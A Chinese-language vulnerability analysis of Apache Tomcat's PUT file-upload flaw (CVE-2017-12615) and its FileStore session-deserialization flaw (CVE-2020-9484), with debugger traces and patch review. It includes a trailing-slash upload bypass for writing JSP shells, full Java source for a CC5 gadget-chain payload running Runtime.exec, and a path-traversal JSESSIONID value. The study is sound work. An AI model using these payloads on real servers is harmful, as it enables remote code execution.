Tomcat PUT文件上传和Session 反序列化代码执行漏洞分析
来分析一下CVE-2017-12615和CVE-2020-9484。
Put文件上传漏洞
分析一下CVE-2017-12615。
漏洞版本:
似乎直到tomcat9也是存在的(主要是本文中提到的/
绕过方式可用)。
漏洞利用条件:
- readonly设置为false,允许使用put文件上传。
来调试分析一下这个漏洞的利用点。
环境搭建及复现
下载tomcat7.0.79并在idea上搭建好环境,jdk版本为8u71。
先来看一个基本知识,在tomcat源码目录的/conf/web.xml中,定义了对http请求的处理类:

这是一个所有web应用程序的默认servlet,它提供静态服务资源。

是一个处理jsp后缀的servlet类。
映射情况如下:

url中的.jsp
和.jspx
会交给DefaultServlet类处理,其余的就交给DefaultServlet类处理。
搭建漏洞环境的话就加一个设置readonly为false即可:

然后就可以启动环境了开打了。使用put创建文件:

可以看到成功上传,然后再访问就可以打命令执行了:

————————
原理分析
tomcat对put中的jsp文件上传有限制,故这里需要想方法调用到DefaultServlet来进行处理。
在linux中可以如图在文件后面加一个/
,而在windows环境中还可以使用空格(%20)或者::$DATA
来绕过进入JspServlet。
打断点于DefaultServlet类的doPut()方法:

在配置文件中我们将readOnly设置为false了,故这里不会调用sendError()抛出错误,下面的getRelativePath(req)就是获取uri中的去掉工程名的其余部分。
再后面的resources.lookup(path)方法简单跟进就是看环境中是否有过这个的缓存?从结果来看就是之前加载过就为true,否则就进入catch将exists设置为false,这个变量在后续还是比较重要的。
继续往后面看:

这里比较重要的就是调用过的parseContentRange()方法:

可以看到是从请求头中找Content-Range,不存在就直接返回null,否则就会根据传的参数来截取文件上传的内容(这也是CVE-2025-24813的利用点),但是这里不涉及,直接看既定的链路。
parseContentRange()返回null后,就会给range赋值为null,从而进入else语句接受全部的上传的文件内容。再往后看:

如果之前加载过对应uri,那么exists就是true,跟进调用的rebind()方法:

继续跟进调用的rebind()方法,然后有调用了重载的rebind()方法,跟进如下:

这里得base指向的就是应用程序目录下,故写入文件后直接就是可以访问的,这里值得一提的就是File类的初始化,在前面我们提到了通过在/shell.jsp
后加一个/
来绕过,重点就是这个File的初始化:

这里通过调用normalize()方法来修正了路径,故可以不影响后续操作,在这里完整拼接了一个路径+文件名。
退出File类的初始化,然后调用streamContent()方法获取文件内容,再写入到文件中:

通过FileOutputStream类来写文件,可以看到还有一个while循环来确保可以获取到所有内容。
由此完整写入了一个文件。
那么再简单看一下从零写入文件的过程,都大差不差的,讲讲不同点即可:
没有加载过从而将exists设置为false:

然后调用bind()方法:

再调用bind()方法:

然后同样的是再次调用重载的bind()方法,继续跟进:

同样是直接经过修正后直接将shell.jsp拼接到web目录下看是否存在这个文件,这里不存在,故会调用rebind()方法:

后面就都是一样的了,最后写入文件:

——————————
后面打断点看了一下base赋值的调用栈:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
setDocBase:127, FileDirContext (org.apache.naming.resources)
resourcesStart:5247, StandardContext (org.apache.catalina.core)
startInternal:5436, StandardContext (org.apache.catalina.core)
start:145, LifecycleBase (org.apache.catalina.util)
addChildInternal:899, ContainerBase (org.apache.catalina.core)
addChild:875, ContainerBase (org.apache.catalina.core)
addChild:652, StandardHost (org.apache.catalina.core)
manageApp:1899, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:301, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:618, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:565, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:301, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1468, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1309, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1408, RMIConnectionImpl (javax.management.remote.rmi)
invoke:829, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
dispatch:323, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 548121275 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
|

通过调用FileDirContext类的setDocBase()方法来给base赋值,这里就是将其赋值为了web目录。
总结
从整个过程来看,仅从漏洞利用来看,其实并不复杂,改一个配置文件允许put文件上传即可,但是需要的是对tomcat运行架构的熟悉,比如为什么要使用到DefaultServlet类,put文件上传是怎么对jsp后缀的文件进行处理的,怎么绕过从而使用这个类,更重要的是需要知道这个类的doPut()方法的代码逻辑是什么,写入的文件位于哪里?都是需要考虑的。
如何修复呢?
当然将readonly设置为true就可以直接杜绝这种漏洞,那么高版本从代码逻辑上是否有修改呢,后续来看CVE-2025-24813的分析文章。
Session 反序列化代码执行漏洞
来说说CVE-2020-9484,同时借此来了解一下tomcat中对sesson的处理方式。需要注意的是后续还爆出来一个CVE-2021-25329,算是对CVE-2020-9484的补丁的绕过,但一直没有公开poc,这里不涉及。
漏洞版本:
- 10.0.0-M1 至 10.0.0-M4
- 9.0.0.M1 至 9.0.34
- 8.5.0 至 8.5.54
- 7.0.0 至 7.0.103
漏洞利用条件:
- 攻击者能够控制服务器上的文件内容和名称
- 服务器PersistenceManager配置中使用了FileStore
- 服务器PersistenceManager配置中设置了sessionAttributeValueClassNameFilter为NULL,或者使用了其他较为宽松的过滤器,允许攻击者提供反序列化数据对象
- 攻击者知道使用的FileStore存储位置到可控文件的相对文件路径
接下来从漏洞知识点以及漏洞原理进行复现。
持久化session是什么
tomcat通常通过两个session管理类来实现session的持久化:
org.apache.catalina.session.StandardManager和org.apache.catalina.session.PersistentManager。
这里主要谈谈PersistentManager类。session,被用于对当前会话的用户身份验证,并且session是存在有效期的,超过一定时间这个session就不再生效。那么持久化session是什么,顾名思义,就是让session持久化,PersistentManager类通常使用Store将活动会话交换到磁盘,如下几种情况可以用到持久化session:
- 跨容器的重新启动持久化会话。
- 容错性,将会话备份在磁盘上,以便在容器意外重启或宕机的情况下进行恢复。
- 通过将活动较少的会话交换到磁盘来限制内存中保留的活动会话的数量。比如当前用户的访问量巨大,大量的session会占用服务器大量的内存,此时就可以将较长时间没使用的session存储至磁盘,用以节省空间。
如何存储的呢,序列化对应的session对象再存储,也就是需要对应的session对象需要实现Serializable接口。
Store有两种 FileStore 和 JDBCStore,FileStore是将session对象存储到文件中,JDBCStore则是存储到数据库中。从漏洞利用角度来看,这里要利用到FileStore。
环境搭建及复现
先在idea上搭建一个tomcat9.0.20环境,然后在tomcat源码/conf/context.xml文件中添加如下代码:
1
2
3
4
5
|
<Manager className="org.apache.catalina.session.PersistentManager"
saveOnRestart="true"
sessionAttributeValueClassNameFilter="">
<Store className="org.apache.catalina.session.FileStore" directory="./sessions" />
</Manager>
|

由此满足了上述几个漏洞条件,解析一下上面的配置文件:
-
设置了saveOnRestart 为true,就可以在tomcat关闭前把有效的session保存,重新启动后再次载入。故其实从这个cve的利用点来说,设置为false也是可以的。
-
sessionAttributeValueClassNameFilter设置为空,也就是可以自己提供对应的session文件的部分名称。
-
目录设置为了当前目录的sessions下,那么就会将文件存储到$CATALINA_HOME/work/Catalina/hostname/webappname/sessions/sessionID.session
这里反序列化打一个cc5,故在idea的WEB-INF/lib中添加cc依赖即可:

然后生成一个包含cc5序列化的文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(chainPart);
Map hash = new HashMap();
Map lazy = LazyMap.decorate(hash,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
Object o = new BadAttributeValueExpException(null);
Field x = BadAttributeValueExpException.class.getDeclaredField("val");
x.setAccessible(true);
x.set(o,outerMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.session"));
out.writeObject(o);
out.close();
}
}
|
然后将生成的ser.session文件放到/tmp
目录下。再如下打即可:

成功弹出计算机。
原理分析
打断点于FileStore类的load()方法:

此时的调用栈为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
load:212, FileStore (org.apache.catalina.session)
loadSessionFromStore:764, PersistentManagerBase (org.apache.catalina.session)
swapIn:714, PersistentManagerBase (org.apache.catalina.session)
findSession:493, PersistentManagerBase (org.apache.catalina.session)
doGetSession:2960, Request (org.apache.catalina.connector)
getSessionInternal:2677, Request (org.apache.catalina.connector)
invoke:460, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:678, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:836, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1839, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
|
跟进file()方法:

可以看到我们通过配置文件设置directory为./sessions,以及类中默认的变量FILE_EXT为.session
,这也就是为什么我们将http请求中设置为JSESSIONID=../../../../../../../../../../../../../../../../../../../../../../../../../tmp/ser
,拼接后就可以匹配到我们放在tmp目录下的ser.session文件。
最后如图可以看到此时拿到的file路径为:
1
|
/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/1e112f7e-49f1-4f6d-8404-dc4563d75f0c/work/Catalina/localhost/tomcat9_0_20_Web_exploded/./sessions/../../../../../../../../../../../../../../../../../../../../../../../../../tmp/ser.session
|
这也是为什么我将ser.session放在/tmp下的原因,没搞懂idea运行tomcat后怎么将ser.session文件放在其他如$CATALINA_HOME/temp
目录下,多穿点即可,并且这里其实直接设置directory为sessions即可,再回退出file()方法:

可以看到是先判断文件是否存在。存在的话就是常规的文件读取然后用作反序列化,跟进readObjectData()方法,其中调用的doReadObject()方法会对数据流反序列化:

从而成功进行cc5的反序列化。
总结
从整个过程来看,确实这个漏洞的利用方式比较苛刻,首先最关键的一点就是需要目标环境存在内容以及名称可控的文件,还需要知道目标文件相对路径来方便目录穿越,其次还需要一些配置用于允许我们指定加载的session文件名。确实比较条件比较多。
那么来看更高版本下是如何修复的呢?下载9.0.35版本的tomcat源码再像之前那样打一下。控制台会直接弹出警告:
1
|
26-Sep-2025 20:52:44.376 警告 [http-nio-8083-exec-2] org.apache.catalina.session.FileStore.file Invalid persistence file [/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/c95d0ef3-f2a9-4529-9363-81226b1de81c/work/Catalina/localhost/tomcat9_0_35_Web_exploded/sessions/../../../../../../../../../../../../../../../../../../../../../../../../../tmp/ser.session] for session ID [../../../../../../../../../../../../../../../../../../../../../../../../../tmp/ser]
|
无效的持久化文件,对我们JSESSIONID传的参数进行了限制。调试分析一波,同样跟进FileStore类的load()方法,其调用的file()方法发生了变化:

从图中注释即可看出,这里就是判断file的路径是否在既定的session文件储存目录中,storageDir.getCanonicalPath()的值为:
1
|
/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/c95d0ef3-f2a9-4529-9363-81226b1de81c/work/Catalina/localhost/tomcat9_0_35_Web_exploded/sessions
|
而file.getCanonicalPath()的回显为:

故肯定因为不一样导致直接抛出异常从而退出。
参考文章:
https://archive.apache.org/dist/tomcat/tomcat-9/